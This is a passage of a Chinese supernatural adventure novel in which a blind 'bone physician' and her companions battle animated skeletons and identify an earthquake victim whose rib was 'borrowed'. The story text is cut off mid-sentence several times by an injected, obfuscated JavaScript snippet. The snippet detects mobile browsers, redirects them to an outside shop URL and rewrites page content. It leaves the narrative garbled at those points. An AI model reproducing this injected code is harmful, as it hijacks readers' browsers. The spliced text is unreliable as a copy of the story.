可刚迈出一步,众人便都感觉自己的脚踝被什么东西抓住了。下一秒,天旋地转,几个人和洪钟一样,被一股大力拽下斜坡。 连月的雨又让这一带发生了好几次不大不小的滑坡,这条斜坡便被上面滑落的泥沙土石推出老长。也多亏它长,给了极速下坠的几个人反应的机会,这才不至于在安全绳的承受力快到极限时被彻底拽下去。 凌岓把工兵铲往土里狠狠一插,再借着巧劲儿猛地将腿一踢,拽着他的那股力气便消失了;之胖凭着体重优势下来得慢了点,凌岓定了定神,朝着之胖小腿上的白影一铲子劈过去,这才让之胖也停了下来。 韩谦和老郑被拽得不远,不知他们用什么方法挣脱了那道力气。但总算是爬上来同凌岓他们汇合了。 “姜大夫和老洪呢?”之胖点了点人数,脸色一变。 “姜大夫去救老洪了。”老郑一拍脑袋道,“小姑娘身手不错,比我们反应都快,一爬起来就去追着救老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“从哪儿说起呢?”洪钟摆起谱来,一拍大腿,“就从它是什么说起吧。” “骨洞,顾名思义,由白骨堆砌而成的洞穴。这些白骨有可能来自动物,也有可能来自人,亦或二者兼有。但有一点,洞里的每根骨头,都来自不同的主体。” “不同的主体?每根都来自不同的主体?”老郑听得头皮发麻,都忘了从哪问起,他看着一洞白骨,问洪钟,“这得死多少人啊。” “诶,是不少人,但不是同一个时间同一个地方死的。”洪钟笑了,他猜老郑一定是想多了,“听我说完你就知道了。” “传说意外身亡的人死前都会张着半张嘴,那是因为他们有话没说完。通俗点说,就是遗言还没说呢。”洪钟指了指脚下一根白骨,继续道,“那没说完怎么办呢?” “看遗言里留下的心愿大不大,够不够坚定。” “坚定?”韩谦冷笑一声,心里暗骂一句“都是封建迷信”。 “心愿没那么重要的,办场丧事也就了了,没什么非要留在人间的必要。”洪钟不理会韩谦的鄙夷,只自顾自地说,“但是心愿重要的、遗憾太大的,却没法轻易放下。” “死不瞑目?”凌岓问。 “也可以这么说,但不全对。”洪钟想了想,解释道,“这些人不是那种传说里怨气戾气拉满的恶鬼,他们不害人,他们只是有很大的遗憾而已。” “同一个地方,或者在同一个范围里,这样的人或动物一多,就会慢慢形成一个奇怪的现象,就是这种骨洞。” “一般来讲,骨洞里动物少见,人比较多见;善终的少有,意外的较多;被亲人找到之后落叶归根的少,身体残缺无法被亲人找到的多。” “这个就像海里的漩涡,人生前没实现的愿望、巨大的遗憾就是产生漩涡的中心,然后再把周遭一切有这种情感的亡者都吸引过来。” “但是人已经离世了,要说整个身体都过来是有些难,所以一般的骨洞里,常见到的都是一根或者一部分骨头。” “你是说,逝者的骨头会自己长腿跑过来?”凌岓听着,觉得这有些离谱。 “不是跑过来,是类似于引力作用。”洪钟尴尬地挠了挠头,“再说了,这不就是个传说嘛,也不一定是真的,这可能确实只是个豺狼虎豹猎食的洞也说不定呢。” “那他们为啥要抓我们啊?”老郑不解——按照洪钟的说法,这些逝者并不存害人之意,可刚刚的经历又明摆着是要让他们陷入困境。 “为了借骨还生。”姜泠开口了,语气依旧平淡,仿佛在说一件与自己无关的事,“因为有人借骨成功了,所以它们蠢蠢欲动。” 7. 第七章 借骨还生 亲身经历往往要比从别人嘴里听故事更让人刻骨铭心,至少现在,众人觉得是这样。 借骨是怎么个事儿还没弄明白,头顶上的手突然一只一只往下掉;掉在地上的手比受到惊吓的人跑得快,它们像是活了。 “说好的不伤人呢?”之胖抬脚就把一只手骨踩得粉碎,心里暗下决定,以后绝不相信洪钟嘴里的半个字。 凌岓倒是闪避及时,捎带手还帮洪钟避过了一只手骨直扑面门的袭击;老郑和韩谦背靠背,一人负责半边,那些手骨一时也没能讨到便宜。 手骨全部落下来后,地上那些一根一根的骨头也开始动了起来。众人头皮发麻,做好准备和这些骨头“决一死战”。 一阵奇怪的音律响起,原本四处攻击人的骨殖像是听到了什么号令一般,竟全都落在地上,回到了最初进洞时的样子—— 姜泠的头发不知什么时候散开了,如瀑的黑发垂在腰间,像从天而降的散仙。她气息均匀,在一呼一吸间轻轻吹响那支挽住发髻的白色发簪。 这支簪子发出的声音很奇怪,音色不清脆亦不喑哑,听起来非笛非箫。一地的人骨在发簪的旋律中落在地上,多数都回归到了平静的状态,当然也有例外。 散落的骨殖中,一个顶部凹陷的头骨和一截长长的腿骨上面还沾着些未分解干净的腐肉,它们被音律短暂压制住,却开始渐渐往外渗出暗红色的血迹。 “新丧怨重。”旋律停住,姜泠走近这两个奇怪的人骨,声音中竟带着些怜悯,“覆灭在天灾之下,却因为借骨失败无法瞑目,也算可怜。” 话毕,她用发簪尖锐的一端割开掌心,鲜血登时流了出来。 “你?”老郑见状大惊,想问点什么,却被凌岓拦住。 “天灾不可预见,妄图借骨还生者也已经灰飞烟灭。”温热的鲜血滴进胫骨与头骨中,原本不断向外渗出的暗红血迹像被净化了一般迅速褪去。 血迹之后,腐肉也渐渐褪去了。到最后,这两个骨头也在众人目瞪口呆地注视下化为齑粉。 “它们是那两个遇难的学生。”姜泠起身,把发簪插回发间。 凌岓随身带着纱布,怕伤口感染,想给她做个简单的包扎。话到嘴边,却发现姜泠那只被割开的手完好如初,一丝受伤的痕迹也没有。他正奇怪,姜泠的声音又响起。 “这么大的骨洞很少见。”沉默寡言的人第一次主动开口解释,“这少说也有近百年了。” “近百年?”之胖本想踢一脚身边的骨头,想起刚才毫无原因的攻击,又把脚收回来,“这是要修炼成精啊?” “再过一千年也未必有用。”姜泠浅浅一笑,“这个骨洞里埋葬着这么多人的遗骸,借骨成功的,只有那一个。” 顺着她失明的眼睛看过去,骨洞深处闪着一道荧荧绿光。凌岓抽出腰间锋利的短刃,走向发光的地方——赫然出现眼前的,是一截人的肋骨。 “韩琮的肋骨。”姜泠明明语气轻和,说出来的这句话却如平地惊雷一般炸进其他人的耳朵。 “谁的肋骨?”之胖傻眼了,就连向来沉默的韩谦也紧紧皱着眉头,满脸不可置信。 “韩琮的肋骨。”姜泠又重复了一遍。 “我弟弟,还活着吗?”从下斜坡开始,韩谦有一肚子问题要问,到现在憋不住了,反而问出最没头没脑的一句。 “活着。”姜泠十分从容地走向前去,握住了那根肋骨,“这就是借骨还生的那根骨头。” 有徐徐的凉风钻进骨洞,吹得人头皮发麻。老郑向姜泠和凌岓靠近了两步,问,“一直说借骨,到底这是个什么东西?” “像鬼附人身那样还阳?”洪钟依稀记得听师父说起过这两个字,却又记得不那么清楚。 “还不了阳的。”这句话中全是同情,“不过是亡者的自欺欺人罢了。” “所谓借骨还生,就是借生者的骨,还亡者生。这并非什么能够续命的神奇法术,相反,这只是企图长生的人过于贪婪而生出的邪术。”姜泠开口,语气没有波澜,与她讲述的故事形成了鲜明的反差。 “传说,始皇帝曾遣徐福和童孩三千前往蓬莱、方丈和瀛洲三座神山找寻长生不老药,寻而无果,转而投向炼丹修道的方士术人。” “这些人中,有一窍不通的骗子,也有精通术法的道人;有心怀善念者,也多的是心怀鬼胎之人。借骨还生之术就是从那时开始出现的。” “借骨还生,找一个同月同日同时生的活人,在逝者亡逝的那一天那一刻以相同的方式让其受到重伤。然后在其弥留之际,将逝者的骨殖放进生者体内相同的位置,就能还生。” “这也太扯了吧。”老郑从来不信鬼神,听完此说,只觉得荒唐无比,“这要是真的,那岂不是人人都去干这事儿,人人都能长生了!” “当然没有那么容易,为生者换骨的过程是需要方士术法来辅助的。只是那种方术的具体内容在秦国覆灭后,也不知所踪了。” “一些人只知其一不知其二,并不了解方术在其中的作用,只将表面做法传出去。这就导致在一段时间内,有很多王公贵胄甚至富商大户争相寻找‘还生’的容器,许多无辜者也因为这么一个荒唐的传说而丧命。” “怪不得是邪术,信这些的人和邪教有什么区别!”凌岓虽说是个富二代,但也是根正苗红的;再加上参军的原因,他对这种封建时代为一己私欲残害百姓的行为嗤之以鼻。 “所以汉代以后,借骨还生成为了一种禁术,在坊间消失了。只有一些从事特殊行业的人还知道一些与之相关的东西。”姜泠难得附和他人的意见。 “骨医就是其中之一?”洪钟眼珠子一转,看向姜泠。 “是。”对方也不遮掩,大大方方承认。 “这和我弟弟有什么关系?”韩谦好像听明白了,却又不能把传说和发生在韩琮身上的事完全串联起来。 “据说最早进献借骨还生术的方士,就是因为偶然看到了一个例子。”姜泠将手中的肋骨递向韩谦,“他偶然看到的那个例子,或许就是你弟弟这样的例子。” “在那个传说里,同年出生的借骨‘容器’是最好却最难求得的;退而求其次,十二年之后同一个属相的‘容器’,也是不错的。” “你弟弟,十九岁。那根不属于他的肋骨,正常来说,应该三十一岁了。”姜泠说得真诚,韩谦却听得遍体生寒。 “就是说现在韩琮的身体里有一根肋骨不是他的?”之胖努力捋清姜泠话中的意思,“那根肋骨的主人在十二年前去世,去世的时候也是十九岁?” “对。” “是那个死人的家里人干的?他是谁?”韩谦双拳紧握,一双眼睛像是要喷出火来——他似乎认定韩琮是遭人谋害,也就顾不得尊重死者了。 “是意外。”这个答案叫人意外,可从姜泠嘴里说出来,又显得可靠。 “意外?”韩谦的双拳骤然松开,他不解,心里有种突然失去目标的困惑。 “你们还记得昨天老板说了什么吗?”姜泠的语气像是幼师一样温和。 “十二年前,大地震。”凌岓自然而然地接上话,他也不知道为什么会想到这个,只是脱口而出时,有种豁然开朗的感觉。 “相同的意外在时隔十二年后重演了?”洪钟也觉得自己开窍了,只是不知道如何表达。 “你们在说什么?”之胖和老郑听得云里雾里,只觉自己和其他人格格不入,只好又向姜泠求助。 “十二年前,一个和韩琮同一天生日的十九岁男孩在这里丧命。丧命的原因或许是泥石流,也或许是地震造成的山体开合,但地点一样,都是在湔山;原因也差不多,都是因为天灾。”不等姜泠开口,凌岓先向两人解释道。 “他死时有一根肋骨应该是断了的。”姜泠接着凌岓的话道,“他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“嗨呀,人那意思是中毒不是什么大事儿,解毒只是治标不治本。”洪钟向之胖解释道,对自己的理解能力十分得意。 “找东西是为了让他把借的骨还给韩琮。”凌岓自始至终都听得很明白,“找到遗物之后,怎么做?” “消解遗憾。”姜泠松开了手上的那根骨头,骨头浮在半空中,似乎是有意在为一行人指路,“等到它变回正常颜色的时候,遗愿就实现了。” “那这些东西怎么办?”老郑扫了一眼其他的白骨,从兜里掏出一个打火机,“留它们在这儿也是害人,不如一把火烧了。” “刚刚已经处理过了,它们虽然留有执念,但今后不会威胁到来往生人的性命。”姜泠按住老郑拿着打火机的手,平静如水的面色第一次起了波澜,很快便恢复如常。 骨洞的地上不知什么时候出现了星星点点的绿色荧光,和韩琮断骨上的光如出一辙。光点延伸向洞外,众人的脚步循着光点的指示向前。 “为了一例偶然的勉强成功对活人群起而攻之的情况少见,让他查查最近有没有什么不对的地方。”姜泠走在最后,刻意和众人拉开了一段距离,低声对盘在左手细腕上的一根不粗不细的“手链”说道。 骨洞外面的光景和凌岓他们来时的样子完全不同,俨然是隔绝现实的一方天地——形状各异的碎石以各种姿态分布在泥土中,放眼望去,不见半棵草木,荒凉得如同了无人烟的戈壁。 “这装备还挺多。”之胖半蹲着,用手里的工兵铲从泥土和碎石中挖出一顶变形的头盔。 “豁——”老郑也铲起一堆泥来,里面依稀可见一只破旧的解放鞋。 与其说是不标准的滩涂,不如说眼前的泥地是一个“遗物池”。 “大海捞针还是沙里淘金啊。”见凌岓、韩谦甚至姜泠都默不作声加入了“铲泥”的行列,洪钟也唉声叹气跟进了泥地。 银白色的小蛇不知什么时候爬上了姜泠的耳廓,它“嘶嘶”吐着信子,姜泠手下的动作也随之一顿—— “快向后退,有东西!” 8. 第八章 杯中影 一具一具的人骨架子从泥中拔地而起的场景蔚为壮观,洪钟阿巴阿巴了半天,也只问出一句,“这是釜山行吗?” 这些人骨架并不完整,有的缺了一条腿,一跳一跳逼近众人;有的缺了一只胳膊,走起路来极不平衡;还有的甚至没有头骨,只剩身体晃晃悠悠走过来。 “不知道的还以为哪家商场的模特疯了呢。”之胖紧紧盯着行进速度并不快的骨架们,余光扫向身后,暗叫不妙——骨洞不见了,身后是一个从未见过的小山包。 “姜大夫,您快吹那个簪子啊!”老郑握着军绿色的铲子后退,纳闷姜泠怎么还不出手。 “那只能压制一部分骨殖。”姜泠听见人骨触地的声音,摇摇头,“这些不是骨殖的一部分,这是骨洞那些骨殖的主体。” “那怎么办?”韩谦问。 “没办法。”答曰。 “没办法就开干!”凌岓眼看已经到了山包附近,退无可退,一咬牙决定硬碰硬。 生人与骨架子们只剩不过十步距离时,凌岓面前那具少了胳膊的身体飞扑过来。 钢铲与骨头碰撞在一起的声音极刺耳,一转眼,那具骨架便被钢铲削得七零八落。这具骨头的散架好像冲锋号角,后面的骨架在它落地后,也紧跟着扑上来,直取命门。 之胖家最早是猎户出身,在防身这块勉强算得上家学渊源,加上他走南闯北许多年,自然明白怎样的动作最能抵挡面前的攻击;老郑做挑夫时曾跟人起过冲突,他迅捷躲过攻击的本事大多是在打架中吸取的经验教训。 韩谦和洪钟靠得近,他身手算不上敏捷,但比只敢远距离攻击对手的洪钟要好得多。说来也怪,那些骨架像是有思维,知道哪里是薄弱点,在凌、郑、之三人那里吃了亏以后,它们便纷纷涌向韩谦和洪钟。 凌岓一脚将伸手欲拖拽他的白骨踹飞后,想过去帮韩谦和洪钟,却发现姜泠已经一副母鸡护崽的姿态站在那二人身前了。 姜泠右手腕处原先戴着一条黑色的手链,手链在她细细的腕骨上绕了许多圈,算不上时尚,和她的气质也不太搭。 白骨架子们扑过来,如同提线木偶般发出关节活动的响声。姜泠一抬手,手上缠绕的一层层黑圈便伸展开来,在空中划出一道漂亮的长弧,将最近的一具白骨卷起又摔下,利落极了。 众人这才发现,这条“手链”实际上是她的武器——一条黑色的细长软鞭。 长鞭如同一条黑蛇,在白骨架中游走穿梭,时不时发出疾风般凌厉的声音。那些骨架应声散架或落地,直到不能构成任何威胁。 凌岓的工兵铲拍倒最后一具白骨时,他分明看见有什么东西从眼前溜走了,他眼疾手快将铲子掷过去,什么都没砸中。姜泠的长鞭卷过去,却也扑了个空。 “那是什么?”凌岓看向姜泠,对方迟迟不开口,脸色亦是晦暗不明。 “没事儿吧都?”之胖刚才在抵挡攻击时被一个从背后偷袭的白骨抓伤了,现下一说话,他疼得龇牙咧嘴。 “没事。”血从之胖的上臂流出来,姜泠伸出手,手心里赫然是一条银白色的小蛇,“你这伤到是要注意,把它放在伤口处,好得快。” “这?蛇?”之胖向后退了一小步,神色有些不自然,“破点皮而已,用不着这么高端的治疗方式吧。” “那些骨架是骨洞里骨殖的主人,在这附近躺了不知道多少年,那一爪子也不知道带着多少怨恨、阴毒。”姜泠把手抬高了些,小蛇安安静静和之胖对视。 “听大夫的吧。”凌岓不怕蛇,把之胖往前推了一把,“指不定挠你的爪子上有毒呢?就算没毒,光那些细菌就够你喝一壶了。你想想,又是雨又是泥的,搞不好还有什么生物的排泄物…” “停!”之胖捂住凌岓的嘴,乖乖把伤臂伸到姜泠跟前,“我向来谨遵医嘱。” 小蛇爬上伤口,一头钻了进去,之胖没感觉疼,只是有些震惊,直到洪钟的惊呼在耳畔响起,他才回过神来。 “找到了!找到了!”洪钟兴奋地跳起来喊,手里还捏着什么东西。 “找到什么…”之胖还没反应过来,就看见凌岓一个箭步跨过去。 “是个保温杯盖。”老郑加入围观大军,盯着洪钟手里的东西得出这个结论。 “死物承情,它就是那位亡者的遗物。”姜泠用指腹轻轻点上了洪钟手里的杯盖,心下了然。 “那现在呢?找到了东西,我们做什么?把它带回去还是?”韩谦看着那个几乎失去形状的杯盖,万分不解。 “借它的眼睛,看到过去发生的一切。”杯盖上的寒意从姜泠的指腹传递过去,她屏息侧耳,然后补充道,“重复过去的经历,弥补逝者的遗憾。” “重复?”老郑苦笑,“谁有那个能力重复天灾?” “未必是天灾。”凌岓脑子转得飞快,他觉得这句话并非没头没脑无法实现的一句话。 “也有可能是重复它被泥沙掩埋之类的经历呢?就像模拟复盘那样,不用真的再经历一遍,制造出假场景也未尝不可。” “一个盖子能有什么经历?”韩谦夺过洪钟手里的东西,往地上狠狠一摔,“你看,摔下来肯定是没用。” “你也太虎了——我倒觉得说不定和这玩意儿的作用有关系。”之胖难得动一回脑子,却歪打正着说中了。 “你是说盖杯子?”洪钟从包里拿出一个敞口水瓶,当即就要把盖子扣到瓶口。 “盛水。”姜泠精准捏住洪钟拿着杯盖的手,“十二年前的雨水和十二年后的雨水。” “现在不下雨,上哪找雨水?”众人四下看了看,全是软泥,连个水坑都没有。 “泥水行不行?”凌岓和之胖对视一眼,明白对方的心思,“自制的那种。” 得到姜泠的肯定回答后,凌岓用杯盖舀了一小盖泥,又往里倒了些随身背着的矿泉水,均匀晃一晃,放在地上,“好了,自制泥水,纯天然无公害。” 泥土很快沉淀在杯盖的底部,与沉淀的泥土分离后,水浮在杯盖的上半部分,竟还能倒映出一圈围着观看的人影。 “这,不会只有聪明的人能从这里看到什么吧。”洪钟看着一杯盖纹丝不动的“泥水”,不解。 闻言,姜泠先是伸手探进盖中,然后问凌岓借了把刀。刀锋割开肌肤,鲜血顺着指尖滴进杯盖,搅动一盖水的平静。 开始只是杯盖中的水轻轻晃动,众人只以为那是鲜血滴进去的缘故。没过多久,整个杯盖都开始剧烈摇晃,水也随着倾翻的杯盖洒在地上。 洒在地上的水并没有很快和地上的软泥融为一体,反而从最中心处长出了触角一般迅速沿着大地向远处延伸。 延伸出的深色印记随后缓缓连在一起,发出浅淡的光,光折射在半空中,铺开杯盖中的影像。 青山高耸,碧水环绕,飞鸟偶尔成群落在山中的某棵树上,唱出悦耳的歌——半空中变幻的色彩仿佛纪录片的开端,记录着十二年前湔山的样貌。 山脚下零零散散住着几户人家,湔江从农田不远处穿过,田里刚刚追过第二次肥。背着双肩包的年轻人穿过绿田旁的土路,嘴里哼着不知名的小调推开了屋门。 “婆婆,我妈啥时候回来?” “说是下午四点到车站。”屋子里的老人停下手里的针线活,回答着。 “那我去接她。”年轻人看了眼墙上指向一点五十的钟,半只脚已经迈出了门,犹豫了几秒,他又返回来把包挂在了背上,“顺便回学校看看老师。” 翻过这座山,就是县城,县一中是送年轻人走出这里的母校。从山脚下出发,翻过去要一个多小时,年轻人脚程快,轻轻松松就走到了半山腰。 深灰色的保温杯斜插在背包的侧兜里,拉链上的挂件时不时撞在杯身上,发出清脆悦耳的叮当声。 “这就那个杯盖子吧。”之胖用手肘捣了捣一旁的凌岓,对方轻轻点点头。 年轻人抬手看了一眼腕上的老式手表——已经半个多小时过去了。他擦了擦头上的汗,打算停下来喘口气。 “乐乐,上哪去?进城吗?”已过中年的阿叔皮肤黝黑,背着一个装满新鲜菌子的竹编背篓,手里提着一柄镰刀和一顶草帽从年轻人身后赶了上来。 “阿叔!阿妈下午回来,我去车站接她,顺道看下汪老师。”年轻人说着就要接过阿叔手里的东西,对方摆摆手拒绝。 “阿妹回来啦!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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响声结束,尘土落下,湔山已经看不出本来的面貌了。山脚下原本的房屋和农田被成百上千的石块掩埋;江水浑浊地像是泥浆在奔涌。 这座山是从村子里通往小城的必经之路,上山的人不算少。 山摇地晃的一瞬间,有人掉进了裂开的缝隙中,在裂缝合上的瞬间融为山的一部分;有人被滚石砸倒,闭着眼躺在地上,周身都是土,面色灰白;竹编背篓被砸扁在一块不规则石头下,背着它的阿叔早已不知去向;鲜血和滚落的沙土石块混在一起,留下一地血泥。 在这片废墟之中,一只满是灰土的手僵直地从碎石堆里伸出来。手指甲已经从原先鲜润的红色变成了绀紫色,手臂上一条深可见骨的伤口还在流着血,指关节被砸得变了形。 腕上的老式手表很眼熟,这是那个年轻人曾来过世上的证据。这只伸出来的手似乎在诉说着主人离开前的不甘,诉说着年轻的生命留下的遗憾。 画面一转,一个胖乎乎的女人跪在废墟中哭喊着什么,她的手上满布血痕;身旁站着的男人两鬓花白,双眼无神地望着碎石张了张嘴,最后什么声音都没发出来。 半空中的光骤然灭了,地上的水痕迅速向杯盖打翻的中心点缩回。等到众人再看过去的时候,杯盖正稳稳放在地上,盖子里的水依然平静,倒映出围观人的影子。 “唉。”洪钟看着地上的杯盖,长长叹了口气,“天灾啊,天灾之下的每条命都是一个让人心碎的故事。” “这,就结束了?”韩谦试探着问,“接下来呢?怎么弥补遗憾?” “首先要弄清楚,他的遗憾是什么”老郑从山崩地裂的震撼中回过神来,认真回答。 “母亲。”凌岓在一旁接上老郑的话,就在刚刚,韩琮的遭遇和十二年前这位逝者的遭遇在他脑子里串了起来,“我们把这盖子带出去,至少得先找到他的母亲,然后才知道下一步怎么走。” “姜大夫,你看呢?”凌岓不确定姜泠对于逝者的遭遇知道多少,盲人看不到半空中的那些画面,但她看起来却什么都知道。 “你说的对,先把东西带出去。”姜泠微微朝着凌岓的方向点了点头。 众人收好杯盖,准备找到出去的路,却发现方才袭击他们的骨头都不见了。一颗树歪歪扒在泥土中,顺着树向上看——是他们掉下来时的斜坡。 “我们不会是,出现幻觉了吧。”之胖咽了咽口水,看着熟悉的斜坡问。 “走上去不就知道了。”凌岓倒是坦然,脚一抬就要往上走。 姜泠有意跟在队伍最后面,隐隐约约的哭声传来,她仔细听着,一双柳叶眉蹙到了一起。 9. 第九章 寻亲 下山的路异常好走,后半程下起淅淅沥沥的雨,但一行人总算赶在雨势变大之前回到民宿。 老板在店里踱步,见到几个人回来,一愣,“你们上山去了?” “没有,去附近的小县城逛了逛,还买了点纪念品。”凌岓反应快,回答脱口而出,见老板不信,他还从包里掏出一幅羌绣作为证据。 “那就好,没进山就好。”老板松了口气,张罗着众人吃饭。 一顿饭吃得索然无味,坐在饭桌上的人各有所思。加上韩谦要求提前退房又不要退费,老板一头雾水。 “带是带出来了,我们上哪找他家属?”房间隔音一般,老郑的声音由大转小。。 “这个我们倒是可以找人查。”韩谦打了好几个电话,应该是在给韩仲先汇报进度。 “连名字都不知道,你怎么查?”之胖兜头泼下一盆冷水,一旁的洪钟也跟着附和。 想起画面里那只伸出的手,之胖搓了搓脸,“那场灾难里遇难者那么多,我们上哪去查?” “盖子上有线索。”姜泠一直站在旁边,突然开口,她说得笃定,其他人却有些狐疑地看着她。 “这上面好像是刻了字。”凌岓对着台灯仔仔细细把变形的杯盖转了几圈,语出惊人。 “哪儿呢?”除了姜泠,另外几人闻言赶忙凑上去看——盖子上没掉皮的那一部分隐约能看到两个字:一个“乐”字还算清晰可辨;另一个字被抹掉了一半,另一半大约是个“不”字。 “这孩子是不是叫什么不乐?”之胖绞尽脑汁想也想不出来这到底是什么名字,只好乱猜。 “知道一个字也能查,先打听打听地震前一年县中学毕业班哪位老师姓汪,再去查查姓汪的老师班里有没有叫什么乐的男孩儿。” 凌岓这边话音刚落,韩谦那头就已经开始打电话联系人了。次日,天刚蒙蒙亮,几人便按照分工启程前往各自的目的地。 在打听消息这方面,挑夫当然是最有优势的。老郑连夜问了几个道上同仁,一大早便和之胖赶往省会,拜访那位为数不多的知晓“汪老师”下落的幸存者。 凌岓父母的一位挚友在字迹还原的领域颇有名气,抱着死马当活马医的心态,他带着杯盖,又提着一堆礼物敲响了这位长辈的门。 姜泠原计划是要和洪钟、韩谦两人一同回到韩家看看韩琮的情况,临到机场接了一个电话便更改了路线。 “三天后到。”不顾韩谦的抗议,她临走时冷冷扔下一句,“韩琮不会有事,放心。” “言而无信,毫无医德。”韩谦在候机室对着电话评价姜泠的此种行为,一旁的洪钟几度想要开口说点什么,最后还是安安静静坐在椅子上喝水。 黑色卡宴停在一座古香古色的四合院门前,穿着一身灰色运动服的年轻人一早站在门口等待来人。 “姐姐,还顺利吗?”他拉开车门,轻轻扶着下车的人问。 “嗯,顺利。”盲女跟着年轻人一同走进院内,“查到什么了?” “骨铃没响,派出去了三路人,回来两路,都说没发现异常。现在就等最后一路的消息了。”年轻人顺手剥开一颗荔枝味的棒棒糖塞进嘴里,“最后一路去的方向,刚好就是西南。” “去多久了?”姜泠从架子上取下一本书,翻到其中一页后顿住。 “你们到湔山的当天晚上他们就到了。”回答的人坐在案几旁的软椅上,翘起二郎腿,“那也是最后一次收到他们的回信。” “姐姐,真的有人能借骨还生?”年轻人突然坐正,看着沉默不语的姜泠。 “没有。”得到的回答十分笃定,“有的只是心术不正的歪门邪道。” “孝昌之际,乱离尤甚…”读书的人指尖从上到下在纸上移动着,“崤潼以东,有洞,洞内陈骨有千,手骨尤甚。洞内西南处有一朱色手骨,形似槭树,大如风盖,甚异。” “我把历代的记载都翻了一遍,这是唯一一个记载有手骨的骨洞。”年轻人站到案几的另一侧,看着那本泛黄的书说。 “下面写了‘见人进,有异声,声如女子低泣。朱骨随之出’。”姜泠想起湔山那些哭声,继续往下读,却发现记载到此为止。 “年纪里有,公元525年,第九代骨医谢衡亡于崤潼。”年轻人把书合上,对姜泠说,“这位谢衡被发现的时候,面色绀紫,双目圆睁,和这次那个小孩倒是有些像。” “溟哥,强子那边有消息了。”敲门声响起,门外的人语气焦急。 “进来说。”年轻人重新坐回软椅,翘起腿。 “哥,姐。”来人进门时险些摔一跤,“强子那边刚刚传来消息,七个人就剩了强子和小猛俩,我已经让人去接他们了。” “就剩了俩?”卫斯诚几乎要从软椅上跳起来,“什么叫就剩了俩?” “不知道啊。”回答的人一头密汗,说话时气息都有些不稳,“小猛发的消息,只说遭到了攻击,强子受了重伤,具体什么情况还得等他们回来再看。” “人现在在哪?”姜泠倒是冷静,听不出什么情绪起伏。 “蓉市的弟兄已经把他们送到医院了,说是一周后才能回来。” “一周后。”姜泠重复了一遍,“知道了,你先去忙吧。” “以强子的身手,除非遇到野兽,否则,没什么人能把他弄到重伤的地步。”卫斯诚的脸色阴了下来。 “西南这一路只是打探情况,既不进山,也不淌水。”姜泠面色如常,心里却仔细消化着刚才的信息,“不知道是我们被人盯上了,还是另有目的人在暗处。” 案几上的电话突然响了,卫斯诚咽下要问的话,接起电话。 嗯了半天后,他把听筒放回原处,面向姜泠,“韩仲先说明天在蓉市和其他人汇合。” “刚好明天就是约定的第三天。”姜泠轻轻点了点头,“那坐明天最早的车走吧。” “姐姐,我跟你一起去。” “你留下。”姜泠回绝得干脆,不留余地。 “我跟你一起去,刚好看看强子他们。”卫斯诚见姜泠态度强硬,又扯了扯她的袖角,换上一副撒娇的表情,“姐,多个人多个帮手,我又不需要看家,你就让我去吧。” … 沉默半晌,姜泠挤出一个“好”字。 尽管还在雨季,蓉市却并没有因此变得凉快。一下飞机,姜、季二人刚好碰上凌岓和等在航站楼接机韩谦。 “这位是?”凌岓也没想到会和姜泠在机场遇到。 “卫斯诚,我师弟。”短短六个字,姜泠介绍完时,凌岓和卫斯诚已经握完手了。 “韩谦。”尽管韩琮的病的确好了很多,但韩谦还是对姜泠颇有微词,出于礼貌他向卫斯诚打了招呼,却也只是轻轻点点头,然后拉着凌岓的行李转身就走。 “德性。”卫斯诚翻了个白眼,说什么也不和韩谦同坐一辆车。 “来的时候你可是答应过要稳重的。”姜泠的语气难得柔和,走在前面的凌岓饶有兴趣地回头看了一眼两人,震惊之余又觉得有些可爱。 “行吧,稳重。”卫斯诚耸耸肩,捞起姜泠的背包,长腿一迈向前跨。 “汪老师十二年前在地震中为了保护学生不在了。”酒店的水晶灯太亮,老郑摆到桌面的照片上反射出一个光斑,“我们找到的这位幸存者是汪老师的同事,姓张。” “张老师说那时候大部分档案都是手写的,地震之后许多档案都缺失了,但她记得是有一个学生叫什么怀乐。姓什么不记得了,她只记得那个学生叫怀乐。”之胖接上老郑的话,摆出一副领导开会的气势正色道。 “陈怀乐。”凌岓把用塑料膜包着的杯盖放在桌子上,连同盖子一起的还有一个信封,“这是字迹鉴定的结果。” “有这个就好办了。”老郑拿着信封把自己关进房间里,其他人也尽力搜寻着有关这个名字的一切。 一小时后,邮箱里的压缩包被解压到韩谦的电脑桌面上,里面是一个文档和几张照片,杯盖主人的身份就此清晰。 陈怀乐,十九岁,毕业于东县中学,十二年前正在蓉市理工大学读大一。 他的母亲叫张贺萍,十二年前在广州云和公司的车间打工,最近一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564259|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有张贺萍的消息是在三年前的寻人启事上。 附件里一共三张照片,第一张是一张个人照,清瘦的男孩手里拿着蓉市理工大学的录取通知书,一脸腼腆地笑着。 第二张是十一份二年前的寻人启事,里面要寻找的人除了陈怀乐,还有一位七十七岁的老人王秀芳。想来正是陈怀乐喊的那位“婆婆”。 最后一张照片仍是寻人启事,时间是三年前,上面的内容没变,落款的联系电话也没变。 “您好,您拨打的电话已关机。Sorry…” “完犊子了,没人接。”之胖刚因为找到联系方式激动起来的心有点发凉,又连拨了好几遍,还是一样关机。 